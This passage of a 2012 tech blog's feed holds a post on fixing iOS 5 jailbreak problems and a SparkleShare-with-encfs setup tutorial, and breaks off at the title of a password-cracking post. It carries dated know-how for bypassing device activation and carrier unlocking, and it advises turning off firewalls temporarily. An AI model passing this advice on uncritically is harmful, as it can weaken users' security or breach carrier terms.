store]]></category><category><![CDATA[apple]]></category><category><![CDATA[baseband]]></category><category><![CDATA[cydia]]></category><category><![CDATA[deactivate]]></category><category><![CDATA[dev-team]]></category><category><![CDATA[diskaid]]></category><category><![CDATA[downgrade]]></category><category><![CDATA[FaceBook]]></category><category><![CDATA[Firewall]]></category><category><![CDATA[fix]]></category><category><![CDATA[GPS]]></category><category><![CDATA[hacktivation]]></category><category><![CDATA[hosts]]></category><category><![CDATA[iClarified]]></category><category><![CDATA[iDevice]]></category><category><![CDATA[ios]]></category><category><![CDATA[iPad]]></category><category><![CDATA[iPhone]]></category><category><![CDATA[ipsw]]></category><category><![CDATA[iPusher]]></category><category><![CDATA[issue]]></category><category><![CDATA[iTunes]]></category><category><![CDATA[jailbreak]]></category><category><![CDATA[localhost]]></category><category><![CDATA[location]]></category><category><![CDATA[loss]]></category><category><![CDATA[MacOS]]></category><category><![CDATA[musclenerd]]></category><category><![CDATA[notificatuion]]></category><category><![CDATA[PAC]]></category><category><![CDATA[proxy]]></category><category><![CDATA[push]]></category><category><![CDATA[redsn0w]]></category><category><![CDATA[repository]]></category><category><![CDATA[restoration]]></category><category><![CDATA[safari]]></category><category><![CDATA[SAM]]></category><category><![CDATA[server]]></category><category><![CDATA[signal]]></category><category><![CDATA[socks]]></category><category><![CDATA[twitter]]></category><category><![CDATA[ultrasn0w]]></category><category><![CDATA[USB]]></category><category><![CDATA[wifi]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Wed, 22 Feb 2012 20:23:01 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/jailbreak-ios-5-fix-issues.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/jailbreak-ios-5-fix-issues.png" alt="Common iOS JailBreak Issues - Restoration Fails, Location Service with Signal and WiFi Loss, Fix Push Notifications, Fix GPS, Downgrade BaseBand"><p>JailBreaking is easy, but you can face many issues before and after the process. Let&#x2019;s see how to fix some of them&#x2026;</p>
</blockquote>
<p><em>It was friday night, I was playing with my old iOS 5.0.1 JailBroken 3GS device, and did something nasty installing bad <a href="https://cydia.saurik.com/?ref=blog.thireus.com">Cydia</a> packages. My iPhone never booted up again after this. It was completely down, frozen and stuck on the Apple boot logo. Backups were too old, this time I knew I had to make a fresh new install of my iOS device.</em></p>
<p>This article will not describe how to jailbreak your iPhone. <a href="http://www.iclarified.com/tutorials/index.php?ref=blog.thireus.com">iClarified</a> has very nice and easy tutorials for beginners to JailBreak your iOS devices. This article can help you to fix the following issues:</p>
<ul>
<li>Restoration fails on iTunes before starting anything on your iOS device.</li>
<li>Restoration hangs on iTunes at 99% of the restoration process.</li>
<li>Activating iOS location service causes dropped signal and WiFi loss.</li>
<li>No Push notifications.</li>
<li>Downgrade BaseBand 06.15.00 to 05.13.04.</li>
</ul>
<p><em>So, let me present your here some big issues I faced during the iOS 5.0.1 JailBreak process using <a href="http://blog.iphone-dev.org/tagged/redsn0w?ref=blog.thireus.com">redsn0w</a> on MacOS 10.7.2 for my iPhone 3GS (<a href="http://blog.iphone-dev.org/post/1718400992/ultra-recycle?ref=blog.thireus.com">iPad baseband 06.15.00</a>). Most of them were easy to solve, but good solutions are hard to find on the Web. I found some using my brain and others after seeking for a while on various JailBreak forums.</em></p>
<h4 id="spanstyletextdecorationunderlineissue1spanbeforejailbreakspanstylecolor008000solvedspanrestorationfailsonitunesbeforestartinganythingonyouriosdevice"><span style="text-decoration: underline;">Issue #1</span> (Before JailBreak, <span style="color: #008000;">solved</span>): Restoration fails on iTunes before starting anything on your iOS device.</h4>
<p>This issue is most of the cases related to your network configuration. Apple needs to check before any restoration process if the firmware (.ipsw) you use is valid. If your firewall blocks these requests, the restoration process cannot begin.</p>
<p><img src="https://blog.thireus.com/img/wrong-firmware-335x139.png" alt="Common iOS JailBreak Issues - Restoration Fails, Location Service with Signal and WiFi Loss, Fix Push Notifications, Fix GPS, Downgrade BaseBand" title="iTunes unknown error, restoration fails." loading="lazy"></p>
<p>The easiest solution is to&#xA0;temporarily&#xA0;deactivate your firewalls&#xA0;and rename your hosts file.</p>
<p><code>sudo mv /etc/hosts /etc/hosts.jailbreak.bak</code></p>
<p>After the JailBreak, do not forget to reactivate your firewalls&#xA0;and move back your backed up hosts file.</p>
<p><code>sudo mv /etc/hosts.jailbreak.bak /etc/hosts</code></p>
<p>If&#xA0;you wish to leave your firewall and hosts file in place, simply make sure that &#x201C;<strong>gs.apple.com</strong>&#x201D; is <span style="color: #ff0000;">not blocked</span>.</p>
<h4 id="spanstyletextdecorationunderlineissue2spanbeforejailbreakspanstylecolor008000solvedspanrestorationhangsonitunesat99oftherestorationprocess"><span style="text-decoration: underline;">Issue #2</span> (Before JailBreak, <span style="color: #008000;">solved</span>): Restoration hangs on iTunes at 99% of the restoration process.</h4>
<p>This is due to a USB communication issue. iTunes is waiting for your iOS device to be plugged in your Mac. However, this never happens because your iOS device is already plugged in and awaits for iTunes&apos; next&#xA0;instructions.</p>
<p>There are many solutions to fix this. The easiest and fastest I&#x2019;ve found is to launch&#xA0;<a href="http://www.digidna.net/products/diskaid/download?ref=blog.thireus.com">DiskAid</a>. This&#xA0;software&#xA0;will catch your iOS device&apos;s USB communication, and provide it back to iTunes quickly. So iTunes will display a &#x201C;<em>Connection Failed</em>&#x201D; error but will immediately retry and submit the final instructions to your iOS device.</p>
<p>Watch this video if you are unsure about what to do: <a href="https://www.youtube.com/watch?v=MscLL_tkSww&amp;ref=blog.thireus.com">https://www.youtube.com/watch?v=MscLL_tkSww</a></p>
<p><span style="color: #ff0000;">Note that you cannot simply unplug and plug again your iOS device. Which will cause your iPhone to be stuck and you will need to restore it once again.</span></p>
<h4 id="spanstyletextdecorationunderlineissue3spanafterjailbreakspanstylecolor008000solvedspanactivatingioslocationservicecausesdroppedsignalandwifiloss"><span style="text-decoration: underline;">Issue #3</span>&#xA0;(After JailBreak, <span style="color: #008000;">solved</span>):&#xA0;Activating&#xA0;iOS location service causes dropped signal and WiFi loss.</h4>
<p>This issue is due to a bad hacktivation. You will need to deactivate and re-activate your iOS device using <a href="http://www.bingner.com/SAM.html?ref=blog.thireus.com">SAM</a>.</p>
<ol>
<li>First turn off location service.</li>
<li>Use Cydia to <a href="http://www.addictivetips.com/mobile/fix-imessage-facetime-push-notifications-on-hacktivated-iphone-4-3gs/?ref=blog.thireus.com">install SAM</a> even if you have activated with official SIM card. SAM is available on the Cydia repository <strong><a href="http://repo.bingner.com/?ref=blog.thireus.com">http://repo.bingner.com</a></strong>.</li>
<li>De-activate your iOS device with <a href="http://www.bingner.com/SAM.html?ref=blog.thireus.com">SAM</a>.</li>
<li>Re-run <a href="http://blog.iphone-dev.org/tagged/redsn0w?ref=blog.thireus.com">redsn0w</a>&#xA0;with nothing checked (meaning uncheck Cydia installation checkbox). <a href="http://blog.iphone-dev.org/tagged/redsn0w?ref=blog.thireus.com">redsn0w</a>&#xA0;will hacktivate and apply the fix during hacktivation.</li>
<li>Go back to SAM after your iOS device booted up. Press &#x201C;Revert Lockdownd to Stock&#x201D;.</li>
<li>Re-activate your iOS device with iTunes and official SIM or reactivate with <a href="http://www.bingner.com/SAM.html?ref=blog.thireus.com">SAM</a>.</li>
<li>Turn on location service, and check if the issue is gone (i.e. use the Map application for at least 30 seconds with location activated).</li>
</ol>
<p><img src="https://blog.thireus.com/img/IMG_0009-e1329939205528-192x288.jpeg" alt="Common iOS JailBreak Issues - Restoration Fails, Location Service with Signal and WiFi Loss, Fix Push Notifications, Fix GPS, Downgrade BaseBand" title="SAM iOS" loading="lazy"></p>
<p>If this fails, <span style="color: #ff0000;">do not hesitate to reboot your iOS device</span> and repeat these steps until your iOS device is correctly activated. It took me maybe 3 or 4 activations via iTunes to finally have my iPhone activated and working correctly with the location service.</p>
<h4 id="spanstyletextdecorationunderlineissue4spanafterjailbreakspanstylecolor008000solvedspannopushnotifications"><span style="text-decoration: underline;">Issue #4</span> (After JailBreak, <span style="color: #008000;">solved</span>): No Push notifications.</h4>
<p>To fix push notifications, you can find some packages on <a href="http://cydia.saurik.com/?ref=blog.thireus.com">Cydia</a>. This issue is also related to bad certificates received during the activation process.</p>
<p>If you want to know if Push is working, there is a simple free application on the <a href="http://itunes.apple.com/app/ipusher/id348540958?mt=8&amp;ref=blog.thireus.com">App Store</a> called <a href="http://itunes.apple.com/app/ipusher/id348540958?mt=8&amp;ref=blog.thireus.com">iPusher</a>.</p>
<p><img src="https://blog.thireus.com/img/IMG_0012-e1329939175326-192x289.jpeg" alt="Common iOS JailBreak Issues - Restoration Fails, Location Service with Signal and WiFi Loss, Fix Push Notifications, Fix GPS, Downgrade BaseBand" title="iPusher" loading="lazy"></p>
<p>You can either fix the Push notifications using the correct Cydia Packages (type &#x201C;fix push&#x201D; in Cydia). Or use <a href="http://www.bingner.com/SAM.html?ref=blog.thireus.com">SAM</a> once more (better solution).</p>
<ol>
<li>Use Cydia to&#xA0;<a href="http://www.addictivetips.com/mobile/fix-imessage-facetime-push-notifications-on-hacktivated-iphone-4-3gs/?ref=blog.thireus.com">install SAM</a>&#xA0;even if you have activated your device using an official SIM card. SAM is available on the Cydia repository&#xA0;<strong><a href="http://repo.bingner.com/?ref=blog.thireus.com">http://repo.bingner.com</a></strong>.</li>
<li>Open SAM. Press &#x201C;Revert Lockdownd to Stock&#x201D;.</li>
<li>Press the &#x201C;De-activate (clear Push)&#x201D; button with&#xA0;<a href="http://www.bingner.com/SAM.html?ref=blog.thireus.com">SAM</a>.</li>
<li>Re-activate your iOS device with iTunes and official SIM or reactivate with&#xA0;<a href="http://www.bingner.com/SAM.html?ref=blog.thireus.com">SAM</a>.</li>
</ol>
<p><span style="text-decoration: underline;">Note:</span> There is a very great and illustrated tutorial to fix this issue using <a href="http://www.bingner.com/SAM.html?ref=blog.thireus.com">SAM</a>&#xA0;on <a href="http://www.addictivetips.com/mobile/fix-imessage-facetime-push-notifications-on-hacktivated-iphone-4-3gs/?ref=blog.thireus.com">addictivetips</a>.</p>
<p><span style="color: #ff0000;">You may also need to remove then reinstall all your applications that use Push notifications.</span></p>
<h4 id="spanstyletextdecorationunderlineissue5spanafterjailbreakspanstylecolor008000solvedspantwitternotificationsnotworking"><span style="text-decoration: underline;">Issue #5</span> (After JailBreak, <span style="color: #008000;">solved</span>):&#xA0;Twitter Notifications not working.</h4>
<p>FaceBook notifications are working great after applying &#x201C;<strong>Issue #4</strong>&#x201D; fix. But Twitter is completely quiet. I&#x2019;m still investigating this issue&#x2026; but it&apos;s maybe due to the low activity of my <a href="https://twitter.com/Thireus?ref=blog.thireus.com">Twitter account</a>.</p>
<p><span style="text-decoration: underline;">Edit:</span>&#xA0;Twitter Push notifications are working when someone mentions you in a tweet.</p>
<h4 id="spanstyletextdecorationunderlineissue6spanios501onlyspanstylecolor008000solvedspanpacproxyignoredbysafari"><span style="text-decoration: underline;">Issue #6</span>&#xA0;(iOS 5.0.1 only,&#xA0;<span style="color: #008000;">solved</span>):&#xA0;PAC proxy ignored by Safari.</h4>
<p>Under iOS 5.0.1, Safari ignores locally stored .pac proxy configuration.</p>
<p>This is a new restriction also impacting&#xA0;<a href="https://discussions.apple.com/thread/3194478?start=0&amp;tstart=0&amp;ref=blog.thireus.com">Safari 5.1</a>&#xA0;under MacOS.</p>
<p><span style="text-decoration: underline;">Two solutions:</span></p>
<ul>
<li>You can either, run a local server on your iOS device, so you can access your proxy configuration via <strong><a href="http://localhost:7276/myproxy.pac?ref=blog.thireus.com">http://localhost:7276/myproxy.pac</a></strong>&#xA0;(127.0.0.1 will not work, prefer using localhost hostname). Configure your network to use this URL instead of the local&#xA0;<strong>file:///private/var/mobile/pacdir/myproxy.pac</strong>&#xA0;address you used to have into the &#x201C;Auto Configuration&#x201D; field of your network proxy settings.</li>
<li>Or you can host your file on an Internet-accessible server. If some people are in need, I can host .pac files here. Just ask.</li>
</ul>
<p>I don&#x2019;t know yet which one of these two solutions is best. But, I think it is better to keep everything on the device.</p>
<p>Here is a quick Perl http proxy script (based on sburke black hole http server) that will let you access your local <strong>myproxy.pac</strong> via <strong><a href="http://localhost:7276/?ref=blog.thireus.com">http://localhost:7276/</a></strong>*:</p>
<pre><code class="language-perl">#!/usr/bin/perl
# Time-stamp: &quot;2005-08-19 01:17:45 ADT&quot;
#
# desc{    pac http proxy server    }    sburke@cpan.org
#
 
use strict;
use IO::Socket qw(:DEFAULT :crlf);
use constant MY_PORT =&gt; 7276;
use constant DEBUG =&gt; 1;
 
my $pac_file_type = &apos;application/x-ns-proxy-autoconfig&apos;;
my $pac_file = &quot;myproxy.pac&quot;;
 
my $no_bytes = (stat ($pac_file))[7];
 
print $pac_file;
 
{
    if(open(IN, &quot;&lt;$pac_file&quot;)) {
    local $/;
    $pac_file = join &apos;&apos;,
      &quot;HTTP/1.1 200 OK&quot;, CRLF, &quot;Content-Length: &quot;, $no_bytes, CRLF,
      &quot;Content-Type: &quot;, $pac_file_type, CRLF, CRLF,
      &lt;IN&gt;;
    close(IN);
    }
}
#-----------------------------------------------------------------------------
 
my $quit = 0;
$SIG{&apos;INT&apos;} = sub {$quit = 1};
 
my $sock = IO::Socket::INET-&gt;new(
  Listen =&gt; 20,        LocalPort =&gt; shift(@ARGV)|| MY_PORT,
  Timeout =&gt; 60 * 60,  Reuse =&gt; 1,
) or die &quot;Can&apos;t create listening socket: $!\n&quot;;
 
DEBUG and warn &quot;Waiting for connections...\n&quot;;
 
my($session, $peer, $port);
while(!$quit) {
  next unless my $session = $sock-&gt;accept;
  if(DEBUG) {
    $peer = gethostbyaddr($session-&gt;peeraddr, AF_INET) || $session-&gt;peerhost;
    $port = $session-&gt;peerport;
    warn &quot;Connection from [$peer\n,$port] at &quot;, scalar(localtime), &quot;\n&quot;;
  }
 
  #select($session);
  #++$|;
  #select(STDOUT);
 
  print $session $pac_file;
  close($session);
  DEBUG and print &quot; (Closed)\n&quot;;
}
 
DEBUG and print STDERR &quot;Byebye\n&quot;;
close($sock);
exit 0;
</code></pre>
<p>You might also be insterested by the following thread: <a href="https://blog.thireus.com/how-to-get-socks-proxy-ssh-tunneling-to-work-on-a-jailbroken-iphoneipod-touchipad" title="How To Get Socks Proxy + SSH Tunneling To Work On A Jailbroken iPhone/iPod Touch/iPad">How To Get Socks Proxy + SSH Tunneling To Work On A Jailbroken iPhone/iPod Touch/iPad</a>. I&#x2019;ll pack everything and try to make things easier to use and configure.</p>
<h4 id="spanstyletextdecorationunderlineissue7spanbb061500onlyspanstylecolor008000solvedspangpsfixsignalissuesfix"><span style="text-decoration: underline;">Issue #7</span> (BB 06.15.00 only,&#xA0;<span style="color: #008000;">solved</span>): GPS Fix, Signal Issues Fix.</h4>
<p>This solution is for iPhone 3 and 3GS owners who upgraded their baseband to the iPad BaseBand 06.15.00 (in order to unlock their iPhone with ultrasn0w). Unfortunately, upgrading to the 06.15.00 breaks the iPhone&#x2019;s GPS feature and is the source of many signal issues.</p>
<p>Fortunately&#xA0;<a href="https://twitter.com/?ref=blog.thireus.com#!/MuscleNerd">MuscleNerd</a>&#xA0;released a solution which is now integrated with <a href="http://redsn0w.com/?ref=blog.thireus.com">redsn0w</a>. iPhone users can <a href="http://blog.iphone-dev.org/post/25350690843/0615-fun?ref=blog.thireus.com">downgrade from 06.15 to 05.13.04</a>. The 05.13.04 BaseBand version is unlockable with ultrasn0w.</p>
<p><a href="https://twitter.com/MuscleNerd/status/214626056211140609?ref=blog.thireus.com">https://twitter.com/MuscleNerd/status/214626056211140609</a></p>
<p>The full tutorial to downgrade from 06.15 is available on <a href="http://www.iclarified.com/entry/index.php?enid=22653&amp;ref=blog.thireus.com">iClarified</a>.</p>
<h5 id="finalthoughts">Final thoughts&#x2026;</h5>
<p><em>Thanks to anyone who worked hard on these fixes. A big thank to the <a href="http://blog.iphone-dev.org/?ref=blog.thireus.com">Dev-Team</a> for their tools and efforts with the JailBreak.</em></p>
<p>My JailBroken and unlocked iPhone 3GS is now <span style="text-decoration: underline;">fully&#xA0;functional</span>. I hope I helped some of you.</p>
<p><span style="color: #ff6600;"><em>Don&apos;t hesitate to post comments for any questions or suggestions.</em></span></p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="ipusher">ipusher</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="ipusher cydia">ipusher cydia</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="ipusher repo">ipusher repo</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="ipusher cydia source">ipusher cydia source</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="06 15 00 gps fix">06 15 00 gps fix</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="&#x43E;&#x448;&#x438;&#x431;&#x43A;&#x430; &#x432; ipusher">&#x43E;&#x448;&#x438;&#x431;&#x43A;&#x430; &#x432; ipusher</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="06 15 00">06 15 00</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="loss of signal in cellphone because of jailbreak">loss of signal in cellphone because of jailbreak</a></li>
<li><a href="https://blog.thireus.com/common-ios-jailbreak-issues-restoration-fails-or-hangs-location-service-causing-signal-and-wifi-loss-fix-push-notifications-fix-gps-downgrade-baseband-06-15-00-to-05-13-04" title="my iphone 3gs jailbreak process complete but sim card network not catch">my iphone 3gs jailbreak process complete but sim card network not catch</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[SparkleShare - Free Open Source DropBox Alternative and Client Side Encryption]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p>Create your own free and secure DropBox with SparkleShare!</p>
</blockquote>
<p><a href="http://sparkleshare.org/?ref=blog.thireus.com">SparkleShare</a> is a free and Open Source alternative to the famous DropBox service, which allows users to upload and store files in the cloud. You can download this utility (currently supported for MacOS, Linux and Android) from&#xA0;<a href="http://sparkleshare.org/?ref=blog.thireus.com">sparkleshare.org</a>.</p>
<p><a href="http://sparkleshare.org/?ref=blog.thireus.com">SparkleShare</a></p>]]></description><link>https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption/</link><guid isPermaLink="false">61bdd4ddd17dfdc8c2b7b96a</guid><category><![CDATA[alternative]]></category><category><![CDATA[android]]></category><category><![CDATA[bitbucket]]></category><category><![CDATA[configure]]></category><category><![CDATA[dropbox]]></category><category><![CDATA[encfs]]></category><category><![CDATA[encryption]]></category><category><![CDATA[fuse]]></category><category><![CDATA[git]]></category><category><![CDATA[github]]></category><category><![CDATA[gitorious]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Mac]]></category><category><![CDATA[MacOS]]></category><category><![CDATA[privacy]]></category><category><![CDATA[repository]]></category><category><![CDATA[secure]]></category><category><![CDATA[security]]></category><category><![CDATA[sparkleshare]]></category><category><![CDATA[ssh]]></category><dc:creator><![CDATA[Thireus]]></dc:creator><pubDate>Mon, 06 Feb 2012 08:32:10 GMT</pubDate><media:content url="https://blog.thireus.com/content/images/2019/10/sparkleshare-folder-logo.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<img src="https://blog.thireus.com/content/images/2019/10/sparkleshare-folder-logo.png" alt="SparkleShare - Free Open Source DropBox Alternative and Client Side Encryption"><p>Create your own free and secure DropBox with SparkleShare!</p>
</blockquote>
<p><a href="http://sparkleshare.org/?ref=blog.thireus.com">SparkleShare</a> is a free and Open Source alternative to the famous DropBox service, which allows users to upload and store files in the cloud. You can download this utility (currently supported for MacOS, Linux and Android) from&#xA0;<a href="http://sparkleshare.org/?ref=blog.thireus.com">sparkleshare.org</a>.</p>
<p><a href="http://sparkleshare.org/?ref=blog.thireus.com">SparkleShare</a>&#xA0;has the advantage to let you use your own configured <a href="http://git-scm.com/?ref=blog.thireus.com">GIT</a> server where your files will be hosted. This main&#xA0;characteristic&#xA0;is important for those who do not want to pay for extra online storage space and for those who are concerned about cloud privacy. But, if you do not own any server, <a href="http://sparkleshare.org/?ref=blog.thireus.com">SparkleShare</a>&#xA0;can also be configured to use <a href="http://bitbucket.org/?ref=blog.thireus.com">Bitbucket.org</a>, <a href="http://github.com/?ref=blog.thireus.com">Github.com</a> or <a href="http://gitorious.org/?ref=blog.thireus.com">Gitorious.org</a>.</p>
<p>Today I&#x2019;m gonna show you how to setup a private and ultra secure SparkleShare box.</p>
<p><em>Those who want to setup their own GIT server will find a quick and ultra easy tutorial on this page (&#x201C;Setting up a host&#x201D; section): <a href="http://sparkleshare.org/?ref=blog.thireus.com" title="Setting up a host">http://sparkleshare.org/</a></em></p>
<h2 id="basicallytheserversetupisasfollowyoumustberoot">Basically the server setup is as follow (you must be root):</h2>
<p><code>apt-get install git</code><br>
<code>adduser --disabled-password git # Creates a new user &apos;git&apos;</code><br>
<code>cd /home/git</code><br>
<code>git init --bare MyProject # Creates the GIT repository directory /home/git/MyProject</code><br>
<code>mkdir .ssh</code></p>
<p>Now you can store all client ssh public keys, so that clients can login with the &#x2018;git&#x2019; user and access your GIT repository.</p>
<p><code>nano .ssh/authorized_keys # This is where you must store your client ssh public key</code></p>
<p>Once edited, you have to fix permissions:</p>
<p><code>chmod 700 .ssh</code><br>
<code>chmod 600 .ssh/authorized_keys</code><br>
<code>chown -R git.git .</code></p>
<p>Your server is now configured. That was easy, heh?</p>
<h2 id="nowtheclientside">Now the client side:</h2>
<p><span style="color: #ff0000;"><strong>First make sure you have git installed and that you can connect to your host server!</strong></span></p>
<p><code>$ whereis git</code></p>
<pre><code>/usr/bin/git
</code></pre>
<p><code>$ git --version</code></p>
<pre><code>git version 1.7.5.4
</code></pre>
<p>If you are under MacOS and do not have git installed, I recommend to install it via <a href="https://www.macports.org/install.php?ref=blog.thireus.com">MacPort</a>, you can also read this tutorial&#xA0;<a href="http://matthew.mceachen.us/blog/installing-git-with-macports-197.html?ref=blog.thireus.com">http://matthew.mceachen.us/blog/installing-git-with-macports-197.html</a>. If you do not have MacPort and do not want to install it, you can alternatively get it here:&#xA0;<a href="https://code.google.com/p/git-osx-installer/downloads/list?can=3&amp;ref=blog.thireus.com">https://code.google.com/p/git-osx-installer/downloads/list?can=3</a>.</p>
<p>You are now ready to use <a href="http://sparkleshare.org/?ref=blog.thireus.com">SparkleShare</a>. Download it from <a href="http://sparkleshare.org/?ref=blog.thireus.com">sparkleshare.org</a> and configure it.</p>
<p><img src="https://blog.thireus.com/img/add-hosted-project-sparkleshare.png" alt="SparkleShare - Free Open Source DropBox Alternative and Client Side Encryption" title="Add Hosted Project... SparkleShare" loading="lazy"></p>
<p>Hit the Add button and that&#x2019;s it! You should now see into your home directory a new folder called <strong>SparkleShare</strong>&#xA0;containing all your projects.</p>
<h2 id="howtosetupaclientsideencryptionforhostedfiles">How to setup a client side encryption for hosted files?</h2>
<p><em>This is the most interesting part of this article. I&#x2019;m going to explain how to use a client side encryption system so that nobody can know what you are hosting on the cloud. <span style="color: #ff0000;"><strong>This tip can be applied to any existing Cloud platforms (DropBox, iCloud, Amazon, etc.) and not only SparkleShare.</strong></span></em></p>
<p>Let&#x2019;s use <a href="http://www.arg0.net/encfs?ref=blog.thireus.com">encfs</a>, which is a tool that creates two linked folders. The first folder is the encrypted side, and the other one the unencrypted directory in which you will drop the files you want to encrypt.</p>
<p>First you have to install encfs:</p>
<ul>
<li>On Linux you can perform an <code>apt-get install encfs</code>.</li>
<li>On MacOS you have to follow these instructions:&#xA0;<a href="http://blog.boxcryptor.com/encfs-174-installer-for-mac-os-x-available?ref=blog.thireus.com">http://blog.boxcryptor.com/encfs-174-installer-for-mac-os-x-available</a>.</li>
</ul>
<p>Once installed check which version of <strong>encfs</strong> you are using (all clients must use the same version! This is very important).</p>
<p><code>$ encfs --version</code></p>
<pre><code>encfs version 1.7.4
</code></pre>
<p>Ok, you are now ready to create your encrypted folder using <strong>encfs</strong>, prefer the use of &quot;paranoia mode&quot;. This procedure <span style="text-decoration: underline;">must be performed once only</span> using your first client which will be configured to use this folder. The directory &#x201C;~/SparkleShare_Unencrypted_folder&#x201D; is the unencrypted side, so do not put it inside your SparkleShare box!</p>
<p><code>$encfs ~/SparkleShare/MyProject/secure_folder ~/SparkleShare_Unencrypted_folder</code></p>
<pre><code>Creating new encrypted volume.
Please choose from one of the following options:
 enter &quot;x&quot; for expert configuration mode,
 enter &quot;p&quot; for pre-configured paranoia mode,
 anything else, or an empty line will select standard mode.
?&gt;p
[...]
</code></pre>
<p>Great, now to mount your directory this is the same command. So we can create a script that does the job&#xA0;automatically:</p>
<p><code>nano encfs</code></p>
<pre><code>#!/bin/sh
encfs ~/SparkleShare/MyProject/secure_folder ~/SparkleShare_Unencrypted_folder
</code></pre>
<p><code>chmod u+x ./encfs</code></p>
<p>To umount the unencrypted folder you must use <code>fusermount</code>:</p>
<p><code>fusermount -u ~/SparkleShare_Unencrypted_folder</code></p>
<p>If you want to configure another client which will use the same encrypted folder, this mount script should be&#xA0;enough. The encfs configuration file is located inside the encrypted SparkleShare folder you&apos;ve just configured &#x201C;./SparkleShare/MyProject/secure_folder/.encfs6.xml&#x201D;. The use of the same encfs version for all clients is required because of this configuration file!</p>
<h2 id="onelastthing">One last thing&#x2026;</h2>
<p>If you want to free some space by removing old removed file revisions on your server, execute the following script at the root directory of your repository on the server side:</p>
<pre><code>#!/bin/bash
set -o errexit
 
# Author: David Underhill
# Script to permanently delete files/folders from your git repository.  To use
# it, cd to your repository&apos;s root and then run the script with a list of paths
# you want to delete, e.g., git-delete-history path1 path2
 
if [ $# -eq 0 ]; then
    exit 0
fi
 
# make sure we&apos;re at the root of git repo
if [ ! -d .git ]; then
    echo &quot;Error: must run this script from the root of a git repository&quot;
    exit 1
fi
 
# remove all paths passed as arguments from the history of the repo
files=$@
git filter-branch --index-filter &quot;git rm -rf --cached --ignore-unmatch $files&quot; HEAD
 
# remove the temporary history git-filter-branch otherwise leaves behind for a long time
rm -rf .git/refs/original/ &amp;&amp; git reflog expire --all &amp;&amp;  git gc --aggressive --prune
</code></pre>
<p>Happy Sparkling!</p>
<h4 id="relatedterms">Related terms:</h4>
<ul>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="dropbox alternative 2012">dropbox alternative 2012</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="sparkleshare tutorial">sparkleshare tutorial</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="sparkleshare bitbucket">sparkleshare bitbucket</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="alternative dropbox client">alternative dropbox client</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="sparkleshare">sparkleshare</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="open source dropbox client">open source dropbox client</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="dropbox alternative">dropbox alternative</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="how to use sparkleshare">how to use sparkleshare</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="dropbox alternative client">dropbox alternative client</a></li>
<li><a href="https://blog.thireus.com/sparkleshare-free-and-open-source-dropbox-alternative-and-client-side-encryption" title="dropbox alternative git">dropbox alternative git</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Crack Passwords using John the Ripper with Multiple CPU Cores (OpenMP)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><blockquote>
<p><strong><a href="http://www.openwall.com/john/?ref=blog.thireus.com">John the Ripper</a></strong>&#xA0;is a fast and famous password cracker.</p>
</blockquote>
